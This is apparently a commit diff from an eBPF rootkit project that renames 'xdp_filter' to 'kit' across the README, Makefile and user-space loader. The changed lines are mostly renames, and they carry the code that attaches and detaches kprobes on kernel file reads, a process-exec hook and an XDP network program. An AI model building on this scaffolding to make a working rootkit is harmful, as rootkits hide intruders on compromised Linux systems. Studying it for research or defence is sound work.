Updated file names and directory structure to the new multi-modules rootkit

.vscode/settings.json

@@ -6,7 +6,7 @@
         "map_common.h": "c",
         "regex.h": "c",
         "unistd.h": "c",
-        "xdp_filter.h": "c",
+        "kit.h": "c",
         "module_manager.h": "c",
         "modules.h": "c",
         "libbpf.h": "c",

README.md

@@ -3,7 +3,7 @@
 ```bash
 cd src
 make
-sudo ./bin/xdp_filter -t <network interface>
+sudo ./bin/kit -t <network interface>
 ```
 Network interface used for PoC: lo
 

src/Makefile

@@ -21,7 +21,7 @@ INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I$(dir $(VMLINUX))
 CFLAGS := -g -Wall
 ARCH := $(shell uname -m | sed 's/x86_64/x86/')
 
-APPS = xdp_filter
+APPS = kit
 
 # Get Clang's default includes on this system. We'll explicitly add these dirs
 # to the includes list when compiling with `-target bpf` because otherwise some

src/ebpf/kit.bpf.c

@@ -25,7 +25,6 @@
 #include <bpf/bpf_endian.h>
 
 //User-kernel dependencies
-#include "../user/include/xdp_filter.h"
 #include "../common/constants.h"
 
 //BPF exclusive includes

src/user/include/modules/fs.h

@@ -5,24 +5,24 @@
 #include <bpf/bpf.h>
 #include <bpf/libbpf.h>
 #include "common.h"
-#include "xdp_filter.skel.h"
+#include "kit.skel.h"
 
 //Connections
-int attach_kprobe_ksys_read(struct xdp_filter_bpf *skel){
+int attach_kprobe_ksys_read(struct kit_bpf *skel){
     skel->links.kprobe_ksys_read = bpf_program__attach(skel->progs.kprobe_ksys_read);
 	return libbpf_get_error(skel->links.kprobe_ksys_read);
 }
-int attach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){
+int attach_kretprobe_vfs_read(struct kit_bpf *skel){
     skel->links.kretprobe_vfs_read = bpf_program__attach(skel->progs.kretprobe_vfs_read);
 	return libbpf_get_error(skel->links.kretprobe_vfs_read);
 }
 
-int attach_fs_all(struct xdp_filter_bpf *skel){
+int attach_fs_all(struct kit_bpf *skel){
     return attach_kprobe_ksys_read(skel) || attach_kretprobe_vfs_read(skel);
 }
 
 
-int detach_kprobe_ksys_read(struct xdp_filter_bpf *skel){
+int detach_kprobe_ksys_read(struct kit_bpf *skel){
     int err = detach_link_generic(skel->links.kprobe_ksys_read);
     if(err<0){
         fprintf(stderr, "Failed to detach fs link\n");
@@ -30,7 +30,7 @@ int detach_kprobe_ksys_read(struct xdp_filter_bpf *skel){
     }
     return 0;
 }
-int detach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){
+int detach_kretprobe_vfs_read(struct kit_bpf *skel){
     int err = detach_link_generic(skel->links.kretprobe_vfs_read);
     if(err<0){
         fprintf(stderr, "Failed to detach fs link\n");
@@ -39,7 +39,7 @@ int detach_kretprobe_vfs_read(struct xdp_filter_bpf *skel){
     return 0;
 }
 
-int detach_fs_all(struct xdp_filter_bpf *skel){
+int detach_fs_all(struct kit_bpf *skel){
     return detach_kprobe_ksys_read(skel) || detach_kretprobe_vfs_read(skel);
 }
 

src/user/include/modules/module_manager.h

@@ -34,7 +34,7 @@ typedef struct module_config_t{
 //Configuration struct. Used by the module manager to
 //correctly attach the needed modules, providing necessary params
 typedef struct module_config_attr_t{
-    struct xdp_filter_bpf *skel;
+    struct kit_bpf *skel;
     struct xdp_module_attr {
         __u32 ifindex;
         __u32 flags;

src/user/include/modules/sched.h

@@ -5,21 +5,21 @@
 #include <bpf/bpf.h>
 #include <bpf/libbpf.h>
 #include "common.h"
-#include "xdp_filter.skel.h"
+#include "kit.skel.h"
 
 //Connections
-int attach_handle_sched_process_exec(struct xdp_filter_bpf *skel){
+int attach_handle_sched_process_exec(struct kit_bpf *skel){
     skel->links.handle_sched_process_exec = bpf_program__attach(skel->progs.handle_sched_process_exec);
 	return libbpf_get_error(skel->links.handle_sched_process_exec);
 }
 
-int attach_sched_all(struct xdp_filter_bpf *skel){
+int attach_sched_all(struct kit_bpf *skel){
     return attach_handle_sched_process_exec(skel);
 }
 
 
 //Disconnections
-int detach_handle_sched_process_exec(struct xdp_filter_bpf *skel){
+int detach_handle_sched_process_exec(struct kit_bpf *skel){
     int err = detach_link_generic(skel->links.handle_sched_process_exec);
     if(err<0){
         fprintf(stderr, "Failed to detach sched link\n");
@@ -28,7 +28,7 @@ int detach_handle_sched_process_exec(struct xdp_filter_bpf *skel){
     return 0;
 }
 
-int detach_sched_all(struct xdp_filter_bpf *skel){
+int detach_sched_all(struct kit_bpf *skel){
     return detach_handle_sched_process_exec(skel);
 }
 

src/user/include/modules/xdp.h

@@ -6,9 +6,9 @@
 #include <linux/if_link.h>
 #include "common.h"
 #include <sys/resource.h>
-#include "xdp_filter.skel.h"
+#include "kit.skel.h"
 
-int attach_xdp_receive(struct xdp_filter_bpf *skel, __u32 ifindex, __u32 flags){
+int attach_xdp_receive(struct kit_bpf *skel, __u32 ifindex, __u32 flags){
     //Attach BPF program to network interface
 	//New way of doing it: it allows for future addition of multiple 
 	//XDP programs attached to same interface if needed
@@ -54,12 +54,12 @@ int attach_xdp_receive(struct xdp_filter_bpf *skel, __u32 ifindex, __u32 flags){
     return 0;
 }
 
-int attach_xdp_all(struct xdp_filter_bpf *skel, __u32 ifindex, __u32 flags){
+int attach_xdp_all(struct kit_bpf *skel, __u32 ifindex, __u32 flags){
     return attach_xdp_receive(skel, ifindex, flags);
 }
 
 
-int detach_xdp_receive(struct xdp_filter_bpf *skel){
+int detach_xdp_receive(struct kit_bpf *skel){
     int err = detach_link_generic(skel->links.xdp_receive);
     if(err<0){
         fprintf(stderr, "Failed to detach XDP program\n");
@@ -68,7 +68,7 @@ int detach_xdp_receive(struct xdp_filter_bpf *skel){
     return 0;
 }
 
-int detach_xdp_all(struct xdp_filter_bpf *skel){
+int detach_xdp_all(struct kit_bpf *skel){
     return detach_xdp_receive(skel);
 }
 

src/user/include/xdp_filter.h

@@ -1,4 +0,0 @@
-#ifndef __XDP_FILTER_H
-#define __XDP_FILTER_H
-
-#endif

src/user/kit.c

@@ -10,9 +10,8 @@
 
 #include <bpf/bpf.h>
 
-#include "xdp_filter.skel.h"
+#include "kit.skel.h"
 
-#include "include/xdp_filter.h"
 #include "../common/constants.h"
 #include "../common/map_common.h"
 #include "include/utils/files/path.h"
@@ -33,7 +32,7 @@ static struct env {
 
 void print_help_dialog(const char* arg){
 	
-    printf("\nUsage: %s ./xdp_filter OPTION\n\n", arg);
+    printf("\nUsage: %s ./kit OPTION\n\n", arg);
     printf("Program OPTIONs\n");
     char* line = "-t[NETWORK INTERFACE]";
     char* desc = "Activate XDP filter";
@@ -116,7 +115,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
 
 int main(int argc, char**argv){
     struct ring_buffer *rb = NULL;
-    struct xdp_filter_bpf *skel;
+    struct kit_bpf *skel;
     __u32 err;
 
 	//Ready to be used
@@ -176,14 +175,14 @@ int main(int argc, char**argv){
 	signal(SIGTERM, sig_handler);
 
     //Open and create BPF application in the kernel
-	skel = xdp_filter_bpf__open();
+	skel = kit_bpf__open();
 	if (!skel) {
 		fprintf(stderr, "Failed to open and load BPF skeleton\n");
 		return 1;
 	}
 
 	//Load & verify BPF program
-	err = xdp_filter_bpf__load(skel);
+	err = kit_bpf__load(skel);
 	if (err) {
 		fprintf(stderr, "Failed to load and verify BPF skeleton\n");
 		goto cleanup;
@@ -240,7 +239,7 @@ int main(int argc, char**argv){
 
 cleanup:
 	ring_buffer__free(rb);
-	//xdp_filter_bpf__destroy(skel);
+	//kit_bpf__destroy(skel);
 	if(err!=0) return -1;
 
     return 0;